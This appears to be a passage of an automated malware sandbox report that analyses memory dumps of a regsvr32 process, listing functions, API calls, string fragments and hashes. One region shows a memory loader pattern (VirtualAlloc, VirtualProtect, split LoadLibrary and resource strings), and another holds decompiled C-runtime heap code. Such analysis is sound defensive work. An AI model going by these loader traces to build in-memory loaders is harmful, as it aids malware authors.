gVWH, xrefs: 000007FEF9D21D88
?x?, xrefs: 000007FEF9D21D2E

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AllocAllocateExitFreeHeapLibraryLoadMessageProcessTaskVirtual
String ID: %<$Ya]$g@$$|X$ 4bB$!@C+$"V2$#z$U$$931$$:*:$$D1v$$huN$$}%z$%8#$%</$%U9$&\hR$*hH%$+ong$+iT$-{*$-'C$.#($0kj.$0.3$1\u$2s<S$3ob$5qj'$5vCx$8<-$:!@$:'U@$:9m?$;qdf$<)@P$<M}O$<v:$=kf^$>~$?CE`$@ $BxJr$C/$Cb47$D)'U$Eekg$FLIn$HPZ$Ko*h$L ]1$M13U$M1vi$MDj$N1kj^H<M1vf@$_yiXP+o*hH*fZQl5vC5qjfXErgxjcCb4v_e75<edkge!z$U9k+h$P+oo$PX5$Puvm$QlyO$R;pB$S[L$S}pn$U+on$U9#($V#s$V9s$VO4$^*C$`AnM$aUJ'$c-_j$cDj$e7tc$ePO$gVWH$h78<$hx"$j+h$kxfc$l|f$mCl4$mbPv$pAT#$rkE@$t(O$tc`$w&ed$wC54$werfault.exe$wk/$xA\#${$U|${fM$$|e:$} z$$}'6$}WL$It$"!k$%Uc$(pd$*hH$,$n$,1.$9[+$?x?$EBg$M z$N3$Pl5$i~e$jfX$oE$`I
API String ID: 2181984824-2032897877
Opcode ID: be2b6721a01229fe6d62131d54c2e067f3d2e24da2d5df3bb551e88fe72b0fff
Instruction ID: 1e3beb4b4c43f569e156fbbbb3a48c6786d138466eab30fa5612b4063b7ac052
Opcode Fuzzy Hash: be2b6721a01229fe6d62131d54c2e067f3d2e24da2d5df3bb551e88fe72b0fff
Instruction Fuzzy Hash: 72E2C9B690A7C18FE3748F629E857DD3AA0F345748F609208D3991FA1DCB795242CF86

Uniqueness

Uniqueness Score: -1.00%

Function 00130000 Relevance: 74.6, APIs: 4, Strings: 38, Instructions: 1094
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00130450
GetNativeSystemInfo.KERNEL32 ref: 00130539
VirtualAlloc.KERNELBASE ref: 00130580
VirtualProtect.KERNELBASE ref: 001309E9

Strings

sour, xrefs: 0013031F
Load, xrefs: 001300C8
ualA, xrefs: 001300E8
Reso, xrefs: 00130338
rote, xrefs: 00130106
Virt, xrefs: 001300E0
aryA, xrefs: 001300D8
Reso, xrefs: 001302DB
tion, xrefs: 00130128
truc, xrefs: 00130121
ofRe, xrefs: 00130318
temI, xrefs: 0013014B
Virt, xrefs: 001300F8
Size, xrefs: 00130311
Lock, xrefs: 00130330
GetN, xrefs: 00130136
ativ, xrefs: 0013013D
eSys, xrefs: 00130144
Slee, xrefs: 001300B7
Libr, xrefs: 001300D0
hIns, xrefs: 0013011A
Free, xrefs: 0013034D
urce, xrefs: 0013035D
ddFu, xrefs: 00130163
RtlA, xrefs: 0013015C
Load, xrefs: 001302F4
ncti, xrefs: 0013016A
Reso, xrefs: 001302FC
onTa, xrefs: 00130171
Flus, xrefs: 00130113
urce, xrefs: 00130340
Reso, xrefs: 00130355
Find, xrefs: 001302D0
urce, xrefs: 001302E7
lloc, xrefs: 001300F0
Cach, xrefs: 0013012F
urce, xrefs: 00130304
ualP, xrefs: 001300FF

Memory Dump Source

Source File: 00000003.00000002.913573669.0000000000130000.00000040.00001000.00020000.00000000.sdmp, Offset: 00130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_130000_regsvr32.jbxd

Similarity

API ID: Virtual$Alloc$InfoNativeProtectSystem
String ID: Cach$Find$Flus$Free$GetN$Libr$Load$Load$Lock$Reso$Reso$Reso$Reso$RtlA$Size$Slee$Virt$Virt$aryA$ativ$ddFu$eSys$hIns$lloc$ncti$ofRe$onTa$rote$sour$temI$tion$truc$ualA$ualP$urce$urce$urce$urce
API String ID: 2313188843-2517549848
Opcode ID: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction ID: c3ad375b28d4005cd65bc3de3fd702d44b77b28fe8b76393b77b528eb6f720f0
Opcode Fuzzy Hash: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction Fuzzy Hash: CF72D470618B488FDB2ADF18C8956B9B7E1FB98305F10462DE8CAD7211DB34D986CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180005C74 Relevance: 6.6, Strings: 5, Instructions: 307
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

b , xrefs: 0000000180005CFC
z_o^, xrefs: 0000000180005E6A
$E, xrefs: 0000000180005F53
]o-, xrefs: 0000000180006087
&C, xrefs: 0000000180005D95

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $E$&C$b $z_o^$]o-
API String ID: 0-182765021
Opcode ID: fd2830ddd061059d70b3ed5c5ef2773e5c4c00071749e16c1f80641060217d81
Instruction ID: b82cae2a5c5b3167ef3d8ad315f999371e1e8449cd72bf967428ee4211bfb190
Opcode Fuzzy Hash: fd2830ddd061059d70b3ed5c5ef2773e5c4c00071749e16c1f80641060217d81
Instruction Fuzzy Hash: 5CE1277151468CDFDF88DF28C889ADD3BA1FB483A8F956219FD0A97250D774D888CB84

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000359C Relevance: 6.5, Strings: 5, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

s, xrefs: 0000000180003832
8, xrefs: 000000018000367F
{>K, xrefs: 0000000180003892
?I , xrefs: 00000001800039AB
k?@`, xrefs: 0000000180003705

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 8$?I $k?@`${>K$s
API String ID: 0-923624899
Opcode ID: 59fac920170ce31af9fc739010187020a0354a51edcd4550f4f509655bae4bf8
Instruction ID: ebffd08f5432af4d9268e2276ec0df8890e8c351c8fd12e1d0a52c84a5ba0a07
Opcode Fuzzy Hash: 59fac920170ce31af9fc739010187020a0354a51edcd4550f4f509655bae4bf8
Instruction Fuzzy Hash: F4C1F070519784ABC388DF24C4CA95BBBF1FBD4758F906A1CF9C68A260D774D948CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E99C Relevance: 5.4, Strings: 4, Instructions: 373
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,8, xrefs: 000000018000EF6F
&k8, xrefs: 000000018000EB8F
`/U, xrefs: 000000018000EF79
\, xrefs: 000000018000F001

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: &k8$,8$\$`/U
API String ID: 0-956392518
Opcode ID: 342d408fbb0085f8b5c961c7b7314e28d99ae80dc1fdc32ae007dfb548a83613
Instruction ID: eb6f1617cd975c6e10cf27e40abea16f203efbb492656816d2660eb5cb9ff966
Opcode Fuzzy Hash: 342d408fbb0085f8b5c961c7b7314e28d99ae80dc1fdc32ae007dfb548a83613
Instruction Fuzzy Hash: 7D2215715093C88BDBBECF64C889BDA7BB9FB44708F10561CEA4A9E258DB745748CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28860 Relevance: 4.5, APIs: 3, Instructions: 25
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D233C2), ref: 000007FEF9D28876
GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D233C2), ref: 000007FEF9D28891
HeapSetInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D233C2), ref: 000007FEF9D288BB

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Heap$CreateInformationVersion
String ID:
API String ID: 3563531100-0
Opcode ID: 48cf33cfee9be34a63005782b3e03b00dcbae59413766f72d2946869900c76f4
Instruction ID: 9235811b63a60011062a1442a231d54292fe2d432e51c42db702af6c27d11e97
Opcode Fuzzy Hash: 48cf33cfee9be34a63005782b3e03b00dcbae59413766f72d2946869900c76f4
Instruction Fuzzy Hash: 50F0FE74A18A4282F7949729AC0977E63D0B758345FA1C43696CD826B4DF3F9589C601

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180025A4C Relevance: 4.0, Strings: 3, Instructions: 271
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

US8, xrefs: 0000000180025C24
z:7, xrefs: 0000000180025F7D
6"*n, xrefs: 0000000180025E81

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 6"*n$US8$z:7
API String ID: 0-1851205513
Opcode ID: 1606357dec85794d189ee26d92c7f71c49412cbd8f38d505c9803facb48510e7
Instruction ID: 607295142d9547307d046de48b3748fa472aee76cf77032a28cf9f5936a2d7e5
Opcode Fuzzy Hash: 1606357dec85794d189ee26d92c7f71c49412cbd8f38d505c9803facb48510e7
Instruction Fuzzy Hash: 57E1F9706057889FEBBADF24C88A7DE7BA1FB49744F50422DDC8A8E250DB745648CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020118 Relevance: 4.0, Strings: 3, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-;, xrefs: 0000000180020168
-;, xrefs: 0000000180020142
00, xrefs: 0000000180020267

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -;$-;$00
API String ID: 0-2539125404
Opcode ID: affc7f65c819fab80511788a3c6ad3e3eeb13df79fc80a7c79ea60dae88b3546
Instruction ID: 193f60ccd2842279d11af0df6a42cb9b90b2b7ab7c379db6368ea7840d008f1f
Opcode Fuzzy Hash: affc7f65c819fab80511788a3c6ad3e3eeb13df79fc80a7c79ea60dae88b3546
Instruction Fuzzy Hash: 28A1377051478CDBDBAADF28C8C9AD93BA1FF48394FA05219FD0287251CB75D985CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180019628 Relevance: 3.1, Strings: 2, Instructions: 565COMMON

Download Yara Rule

Strings

zm, xrefs: 0000000180019EC6
f+hb, xrefs: 0000000180019A9E

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: f+hb$zm
API String ID: 0-4294548274
Opcode ID: 6963b25ea24f854b6089165216e044e7a65ef6823e0c7b2cadf5353a03fffeac
Instruction ID: b2f4f577a3df5b024e80de80ecfd692f42b94ed80d4232126a84951cd6e5a716
Opcode Fuzzy Hash: 6963b25ea24f854b6089165216e044e7a65ef6823e0c7b2cadf5353a03fffeac
Instruction Fuzzy Hash: 4852C97050068D8FDF98DF68C8866DA3BA1FB58388F124319FC8AA7291D778D655CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002ACE8 Relevance: 1.4, Strings: 1, Instructions: 118COMMON

Download Yara Rule

Strings

#U6, xrefs: 000000018002AE5D

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #U6
API String ID: 0-3443268899
Opcode ID: e6a0a67d4c68fd780a130b425ea3d31e719d89ab7dc9c3de49232e364b014bec
Instruction ID: 59d24509ec93e958c93c94dd97d6e32fc772fd919bc53da4f0cdd3954875abf9
Opcode Fuzzy Hash: e6a0a67d4c68fd780a130b425ea3d31e719d89ab7dc9c3de49232e364b014bec
Instruction Fuzzy Hash: 57510E715087888BC7B8DF28C49A6CBBBF1FF86344F10091DE68987260CB76D949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27640 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 290
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoW.KERNEL32 ref: 000007FEF9D2764C
_calloc_dbg.LIBCMTD ref: 000007FEF9D27671

Part of subcall function 000007FEF9D24980: _calloc_dbg_impl.LIBCMTD ref: 000007FEF9D249C6

_calloc_dbg.LIBCMTD ref: 000007FEF9D27858

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c, xrefs: 000007FEF9D2765A, 000007FEF9D27841

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _calloc_dbg$InfoStartup_calloc_dbg_impl
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c
API String ID: 1930727954-3864165772
Opcode ID: 6ce8cb6e1d9cf3b4bca9567c45291f9c0e6eb32f85ec4de2f3338e3031d5b08d
Instruction ID: 1d91a8b9fbbdfe7efb2cec2f51c290a43986955e3ccc02e10ec1e86e5f3f07e0
Opcode Fuzzy Hash: 6ce8cb6e1d9cf3b4bca9567c45291f9c0e6eb32f85ec4de2f3338e3031d5b08d
Instruction Fuzzy Hash: 88F1D82260DBC5C9E7B08B19E88076EB7A0F385B64F258226CAED477E4DB3DD445CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27DE0 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__initmbctable.LIBCMT ref: 000007FEF9D27DED
_calloc_dbg.LIBCMTD ref: 000007FEF9D27E7B
_calloc_dbg.LIBCMTD ref: 000007FEF9D27F1B

Part of subcall function 000007FEF9D2D490: _invalid_parameter.LIBCMTD ref: 000007FEF9D2D541

_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D27F9B

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c, xrefs: 000007FEF9D27E66, 000007FEF9D27F06
strcpy_s(*env, cchars, p), xrefs: 000007FEF9D27F92
~, xrefs: 000007FEF9D27EFE
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c, xrefs: 000007FEF9D27F84
_setenvp, xrefs: 000007FEF9D27F8B

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _calloc_dbg$__initmbctable_invalid_parameter_invoke_watson_if_error
String ID: _setenvp$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c$strcpy_s(*env, cchars, p)$~
API String ID: 1648969265-681193798
Opcode ID: a4493985eb34f23491eb94dc9b506d74831480b604230057d9b95ae3580ffa29
Instruction ID: 6f04160d34b6c1fe028a5367eccc3c8ebf9b699179af2d046024218ded9634d0
Opcode Fuzzy Hash: a4493985eb34f23491eb94dc9b506d74831480b604230057d9b95ae3580ffa29
Instruction Fuzzy Hash: 14514F31A1DB8682EB90CB19E88576E77E0F385794F704126EACE477B4DB7EE4408B41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27280 Relevance: 12.1, APIs: 8, Instructions: 104
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDecodePointer.NTDLL ref: 000007FEF9D272CE
DecodePointer.KERNEL32 ref: 000007FEF9D27375
DecodePointer.KERNEL32 ref: 000007FEF9D272EC

Part of subcall function 000007FEF9D23D00: RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

DecodePointer.KERNEL32 ref: 000007FEF9D27398
DecodePointer.KERNEL32 ref: 000007FEF9D273AA
_initterm.LIBCMTD ref: 000007FEF9D27408
_initterm.LIBCMTD ref: 000007FEF9D2741B
__crtExitProcess.LIBCMTD ref: 000007FEF9D2747D

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Pointer$Decode$_initterm$EncodeExitProcess__crt
String ID:
API String ID: 3799933513-0
Opcode ID: c9a1689ff4177d35e5a558f0089bed0cb41f7669401f9128f576ef3edf69137f
Instruction ID: 37cfb5e84e154ae2fbcc5f75e30e47dd1cf7b4373ba061ec72f9a9691eeac49a
Opcode Fuzzy Hash: c9a1689ff4177d35e5a558f0089bed0cb41f7669401f9128f576ef3edf69137f
Instruction Fuzzy Hash: 36511C3291DB4281E6A09B58EC8436EB7E0F386794F315125EACD427B9DF7EE544CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28670 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 79
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNELBASE ref: 000007FEF9D2867D
WideCharToMultiByte.KERNEL32 ref: 000007FEF9D28722
FreeEnvironmentStringsW.KERNEL32 ref: 000007FEF9D28764

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\a_env.c, xrefs: 000007FEF9D2873E

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\a_env.c
API String ID: 1823725401-2473407871
Opcode ID: 12bd68ef287a579055a6545109484f2ffc82b1f6f13cfb147b3cff23ff6676d3
Instruction ID: f3219d0a3466b597a7d077589c81ae53176584dcfccb647f84a4fae4f36a6977
Opcode Fuzzy Hash: 12bd68ef287a579055a6545109484f2ffc82b1f6f13cfb147b3cff23ff6676d3
Instruction Fuzzy Hash: B141A536618B8586E794CB56F84432FB7E1F785B94F200429EBCD47BA8DBBED4448B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23D30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000007FEF9D27540: _initp_misc_winsig.LIBCMTD ref: 000007FEF9D2757B
Part of subcall function 000007FEF9D27540: _initp_eh_hooks.LIBCMTD ref: 000007FEF9D27585

Part of subcall function 000007FEF9D28FE0: InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000007FEF9D2906F

FlsAlloc.KERNEL32 ref: 000007FEF9D23D55

Part of subcall function 000007FEF9D23E00: FlsFree.KERNEL32 ref: 000007FEF9D23E13
Part of subcall function 000007FEF9D23E00: _mtdeletelocks.LIBCMTD ref: 000007FEF9D23E23

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tidtable.c, xrefs: 000007FEF9D23D7B

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AllocCountCriticalFreeInitializeSectionSpin_initp_eh_hooks_initp_misc_winsig_mtdeletelocks
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tidtable.c
API String ID: 3828364660-3898981997
Opcode ID: 433987b36a956229ec77e0de1d2b7e358b1fb906a8f620ef815ae1dd4af6a87a
Instruction ID: 54e8e70dd377f15c5e8b83e2f7140eab641006b368099d9e1d163193fdf976c7
Opcode Fuzzy Hash: 433987b36a956229ec77e0de1d2b7e358b1fb906a8f620ef815ae1dd4af6a87a
Instruction Fuzzy Hash: 5A115E30A2D60286F3E0AB25ED4577DA6E1B784B60F215671E9EE422F5DB2FE4048611

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2461B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E000007FE7FEF9D2461B(void* __rdx, void* __r8, long long _a32, long long _a40, intOrPtr _a64, long long _a72, void* _a80, intOrPtr _a88, long long _a96, long long _a128, signed int _a136, long long _a144, intOrPtr _a152, void* _a160) {
				signed int _t64;
				intOrPtr _t66;
				void* _t73;
				void* _t92;
				long long _t98;
				long long _t113;
				long long _t114;
				long long _t115;
				long long _t130;
				intOrPtr _t132;
				long long _t135;

				if (_a136 == 1) goto 0xf9d24672;
				_t64 = _a136 & 0x0000ffff;
				if (_t64 == 2) goto 0xf9d24672;
				if (_a136 == 3) goto 0xf9d24672;
				_a40 = "Error: memory allocation: bad memory block type.\n";
				_a32 = "%s";
				r9d = 0;
				r8d = 0;
				0xf9d2ad00();
				if (_t64 != 1) goto 0xf9d24672;
				asm("int3");
				_t98 = _a128 + 0x34;
				_a96 = _t98;
				0xf9d2ac90(); // executed
				_a80 = _t98;
				if (_a80 != 0) goto 0xf9d246b8;
				if (_a160 == 0) goto 0xf9d246b3;
				 *_a160 = 0xc;
				goto 0xf9d248b4;
				_t66 =  *0xf9d4b03c; // 0x38
				 *0xf9d4b03c = _t66 + 1;
				if (_a64 == 0) goto 0xf9d2472d;
				 *_a80 = 0;
				 *((long long*)(_a80 + 8)) = 0;
				 *((long long*)(_a80 + 0x10)) = 0;
				 *((intOrPtr*)(_a80 + 0x18)) = 0xfedcbabc;
				 *((long long*)(_a80 + 0x20)) = _a128;
				 *(_a80 + 0x1c) = 3;
				 *((intOrPtr*)(_a80 + 0x28)) = 0;
				goto 0xf9d24844;
				if (0xffffffff -  *0xf9d4c960 - _a128 <= 0) goto 0xf9d24763;
				_t130 =  *0xf9d4c960; // 0x42cc
				 *0xf9d4c960 = _t130 + _a128;
				goto 0xf9d2476e;
				 *0xf9d4c960 = 0xffffffff;
				_t132 =  *0xf9d4c990; // 0xa0c
				 *0xf9d4c990 = _t132 + _a128;
				_t113 =  *0xf9d4c978; // 0x32f4
				_t92 =  *0xf9d4c990 - _t113; // 0xa0c
				if (_t92 <= 0) goto 0xf9d247a8;
				_t114 =  *0xf9d4c990; // 0xa0c
				 *0xf9d4c978 = _t114;
				if ( *0xf9d4c980 == 0) goto 0xf9d247c4;
				_t115 =  *0xf9d4c980; // 0x24c3b00
				 *((long long*)(_t115 + 8)) = _a80;
				goto 0xf9d247d0;
				 *0xf9d4c968 = _a80;
				_t135 =  *0xf9d4c980; // 0x24c3b00
				 *_a80 = _t135;
				 *((long long*)(_a80 + 8)) = 0;
				 *((long long*)(_a80 + 0x10)) = _a144;
				 *((intOrPtr*)(_a80 + 0x18)) = _a152;
				 *((long long*)(_a80 + 0x20)) = _a128;
				 *(_a80 + 0x1c) = _a136;
				_t78 = _a88;
				 *((intOrPtr*)(_a80 + 0x28)) = _a88;
				 *0xf9d4c980 = _a80;
				r8d = 4;
				E000007FE7FEF9D232B0( *0xf9d4b04c & 0x000000ff, _a88,  *0xf9d4b04c & 0x000000ff, _a80 + 0x2c, __rdx, __r8);
				_t145 = _a128;
				r8d = 4;
				E000007FE7FEF9D232B0( *0xf9d4b04c & 0x000000ff, _a88,  *0xf9d4b04c & 0x000000ff, _a80 + _a128 + 0x30, _a128, __r8);
				_t73 = E000007FE7FEF9D232B0( *0xf9d4b04f & 0x000000ff, _t78,  *0xf9d4b04f & 0x000000ff, _a80 + 0x30, _t145, _a128);
				_a72 = _a80 + 0x30;
				return E000007FE7FEF9D29360(_t73, 4);
			}

0x7fef9d24623
0x7fef9d2462c
0x7fef9d24634
0x7fef9d2463e
0x7fef9d24647
0x7fef9d24653
0x7fef9d24658
0x7fef9d2465b
0x7fef9d24665
0x7fef9d2466d
0x7fef9d2466f
0x7fef9d2467a
0x7fef9d2467e
0x7fef9d24688
0x7fef9d2468d
0x7fef9d24698
0x7fef9d246a3
0x7fef9d246ad
0x7fef9d246b3
0x7fef9d246b8
0x7fef9d246c0
0x7fef9d246cb
0x7fef9d246d2
0x7fef9d246de
0x7fef9d246eb
0x7fef9d246f8
0x7fef9d2470c
0x7fef9d24715
0x7fef9d24721
0x7fef9d24728
0x7fef9d24743
0x7fef9d2474d
0x7fef9d2475a
0x7fef9d24761
0x7fef9d24763
0x7fef9d24776
0x7fef9d24783
0x7fef9d2478a
0x7fef9d24791
0x7fef9d24798
0x7fef9d2479a
0x7fef9d247a1
0x7fef9d247b0
0x7fef9d247b2
0x7fef9d247be
0x7fef9d247c2
0x7fef9d247c9
0x7fef9d247d5
0x7fef9d247dc
0x7fef9d247e4
0x7fef9d247f9
0x7fef9d24809
0x7fef9d24819
0x7fef9d24829
0x7fef9d24831
0x7fef9d24835
0x7fef9d2483d
0x7fef9d24854
0x7fef9d2485c
0x7fef9d2486d
0x7fef9d2487a
0x7fef9d24882
0x7fef9d248a1
0x7fef9d248af
0x7fef9d248c7

APIs

_unlock.LIBCMTD ref: 000007FEF9D248B9

Strings

Error: memory allocation: bad memory block type., xrefs: 000007FEF9D24640

Memory Dump Source

